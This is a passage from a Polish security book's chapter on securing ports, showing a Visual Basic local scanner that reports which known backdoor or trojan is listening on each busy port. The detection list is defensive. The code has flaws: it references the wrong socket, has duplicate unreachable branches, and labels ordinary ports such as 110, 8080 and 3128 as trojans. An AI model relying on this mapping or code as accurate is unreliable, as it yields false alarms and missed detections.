Winsock1.LocalPort & " Found:  
  Ripper" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2115 Then List1.AddItem Winsock1.LocalPort & 
" Found: Bugs" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2140 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Deep Throat, The Invasor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2155 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Illusion Mailer" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2283 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  HVL Rat5" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2565 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Striker" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2583 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  WinCrash" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2600 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Digital RootBeer" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2801 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Phineas Phucker" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2989 Then List1.AddItem Winsock1.LocalPort & 
" Found: RAT" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3024 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  WinCrash" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3128 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  RingZero" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3129 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  Masters Paradise" 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

81 

 

81

 

Winsock1.Close 
ElseIf Winsock1.LocalPort = 3150 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Deep Throat, The Invasor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3459 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Eclipse 2000" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3700 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3791 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Eclypse" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 3801 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Eclypse" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 4092 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  WinCrash" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 4321 Then List1.AddItem Winsock1.LocalPort & 
" Found: BoBo" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 4567 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  File Nail" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 4590 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  ICQTrojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Bubbel, Back Door Setup, Sockets deTroie" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Back Door Setup, Sockets de Troie" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5011 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  One of the Last Trojans (OOTLT)" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5031 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetMetro" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5321 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Firehotcker" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5400 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Blade Runner, Back Construction" 
Winsock1.Close 

background image

 
82 

Hack Wars. Tom 2. Na tropie hakerów 

82 

 

ElseIf Winsock1.LocalPort = 5401 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Blade Runner, Back Construction" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5402 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Blade Runner, Back Construction" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5512 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Illusion Mailer" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5550 Then List1.AddItem Winsock1.LocalPort & 
" Found: Xtcp" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5555 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  ServeMe" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5556 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BO Facil" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5557 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BO Facil" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5569 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Robo-Hack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 5742 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  WinCrash" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6400 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  The Thing" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6669 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Vampyre" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6670 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  DeepThroat" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6771 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  DeepThroat" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6776 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BackDoor-G, SubSeven" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6912 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Shit Heep" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6939 Then List1.AddItem 
Winsock1.LocalPort & " Found:  

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

83 

 

83

 

  Indoctrination" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6969 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  GateCrasher, Priority, IRC 3" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 6970 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  GateCrasher" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Remote Grab , Kazimas" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7300 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetMonitor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7301 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetMonitor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7306 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetMonitor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7307 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetMonitor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7308 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  NetMonitor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 7789 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Back Door Setup, ICKiller" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 8080 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  RingZero" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9400 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  InCommand" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9872 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9873 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9874 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9875 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 

background image

 
84 

Hack Wars. Tom 2. Na tropie hakerów 

84 

 

Winsock1.Close 
ElseIf Winsock1.LocalPort = 9876 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Cyber Attacker" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9878 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 9989 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  iNi-Killer" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 10067 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 10101 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BrainSpy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 10167 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Portal of Doom" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 10520 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Acid Shivers" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 10607 Then List1.AddItem Winsock1.LocalPort & 
" Found: Coma" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 11000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Senna Spy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 11223 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  Progenic trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 12076 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Gjamer" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 12223 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack’99 KeyLogger" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 12345 Then Winsock1.Close 
ElseIf Winsock1.LocalPort = 12346 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  GabanBus, NetBus, X-bill" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 12361 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Whack-a-mole" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 12362 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Whack-a-mole" 
Winsock1.Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

85 

 

85

 

ElseIf Winsock1.LocalPort = 12631 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  WhackJob" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 13000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Senna Spy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 16969 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Priority" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 17300 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Kuang2 The Virus" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 20000 Then List1.AddItem 
Winsock1.LocalPort & " Found:    
  Millennium" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 20001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Millennium" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 20034 Then Winsock1.Close 
ElseIf Winsock1.LocalPort = 20203 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Logged" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 21544 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  GirlFriend" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 22222 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Prosiak" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 23456 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Evil FTP, Ugly FTP , Whack Job" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 23476 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Donald Dick" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 23477 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Donald Dick" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 26274 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Delta Source" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 29891 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  The Unexplained" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 30029 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  AOL Trojan" 
Winsock1.Close 

background image

 
86 

Hack Wars. Tom 2. Na tropie hakerów 

86 

 

ElseIf Winsock1.LocalPort = 30100 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetSphere" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 30101 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetSphere" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 30102 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetSphere" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 30303 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Sockets de Troie" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 30999 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Kuang2" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31336 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Bo Whack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Baron Night, BO client, BO2, Bo Facil" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BackFire, Back Orifice, DeepBO" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetSpy DK" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Back Orifice, DeepBO" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31339 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  NetSpy DK" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31666 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  BOWhack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31785 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31787 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31788 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

87 

 

87

 

ElseIf Winsock1.LocalPort = 31789 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31791 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 31792 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 33333 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Prosiak" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 33911 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Spirit 2001a" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 34324 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BigGluck, TN" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 40412 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  The Spy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 40421 Then List1.AddItem 
Winsock1.LocalPort & " Found:   
  Agent 40421, Masters Paradise" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 40422 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Masters Paradise" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 40423 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Masters Paradise" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 40426 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Masters Paradise" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 47262 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Delta Source" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 50505 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Sockets de Troie" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 50766 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Fore, Schwindler" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 53001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Remote Windows Shutdown" 
Winsock1.Close 

background image

 
88 

Hack Wars. Tom 2. Na tropie hakerów 

88 

 

ElseIf Winsock1.LocalPort = 54320 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Back Orifice 2000" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  School Bus" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Back Orifice 2000" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 60000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Deep Throat" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 61466 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Telecommando" 
Winsock1.Close 
Else 
    List1.AddItem Winsock1.LocalPort & " Active: Standard Well-known 
Port" 
    Winsock1.Close 
End If 
End Sub 
Public Sub WSock2(sPort As Long) 
Winsock2.LocalPort = sPort 
If sPort > 65400 Then 
    cmdStop_Click 
End If 
On Error GoTo z2 
Winsock2.Listen 
Winsock2.Close 
Exit Sub 
z2: 
If Winsock2.LocalPort = 31 Then 
    List1.AddItem Winsock5.LocalPort & " Found: Agent 31" 
    Winsock2.Close 
ElseIf Winsock2.LocalPort = 41 Then 
    List1.AddItem Winsock2.LocalPort & " Found: DeepThroat" 
    Winsock2.Close 
ElseIf Winsock2.LocalPort = 59 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  DMSetup" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 79 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Firehotcker" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 99 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Hidden Port" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 110 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  ProMail trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 113 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Kazimas" 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

89 

 

89

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 119 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Happy 99" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 121 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  JammerKillah" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 421 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  TCP Wrappers" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 456 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Hackers Paradise" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 531 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Rasmin" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 555 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 666 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU, 
Shadow Phyre" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 911 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  Dark Shadow" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 999 Then List1.AddItem Winsock2.LocalPort 
& " Found:  
  DeepThroat, WinSatan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Silencer, WebEx" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1010 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Doly Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1011 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Doly Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1012 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Doly Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1015 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Doly Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1024 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSpy" 

background image

 
90 

Hack Wars. Tom 2. Na tropie hakerów 

90 

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 1042 Then List1.AddItem Winsock2.LocalPort & 
" Found: Bla" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1045 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Rasmin" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1090 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Xtreme" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1170 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Psyber Stream Server, Streaming Audio trojan, Voice" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1234 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Ultors Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1239 Then Winsock2.Close 
ElseIf Winsock2.LocalPort = 1243 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BackDoor-G, SubSeven, SubSeven Apocalypse" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1245 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  VooDoo Doll" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1248 Then Winsock2.Close 
ElseIf Winsock2.LocalPort = 1269 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Mavericks Matrix" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1349 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BO DLL" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1492 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  FTP99CMP" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1509 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Psyber Streaming Server" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1600 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Shivka-Burka" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1807 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  SpySender" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1981 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Shockrave" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BackDoor" 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

91 

 

91

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Trojan Cow" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2002 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2003 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2004 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2005 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2023 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Ripper" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2115 Then List1.AddItem Winsock2.LocalPort & 
" Found: Bugs" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2140 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Deep Throat, The Invasor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2155 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Illusion Mailer" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2283 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  HVL Rat5" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2565 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  Striker" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2583 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  WinCrash" 
Winsock2.Close 

background image

 
92 

Hack Wars. Tom 2. Na tropie hakerów 

92 

 

ElseIf Winsock2.LocalPort = 2600 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Digital RootBeer" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2801 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Phineas Phucker" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 2989 Then List1.AddItem Winsock2.LocalPort & 
" Found: RAT" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3024 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  WinCrash" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3128 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  RingZero" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3129 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Masters Paradise" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3150 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Deep Throat, The Invasor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3459 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Eclipse 2000" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3700 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3791 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Eclypse" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 3801 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Eclypse" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 4092 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  WinCrash" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 4321 Then List1.AddItem Winsock2.LocalPort & 
" Found: BoBo" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 4567 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  File Nail" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 4590 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  ICQTrojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Bubbel, Back Door Setup, Sockets deTroie" 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

93 

 

93

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 5001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Back Door Setup, Sockets de Troie" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5011 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  One of the Last Trojans (OOTLT)" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5031 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetMetro" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5321 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Firehotcker" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5400 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Blade Runner, Back Construction" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5401 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Blade Runner, Back Construction" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5402 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Blade Runner, Back Construction" 
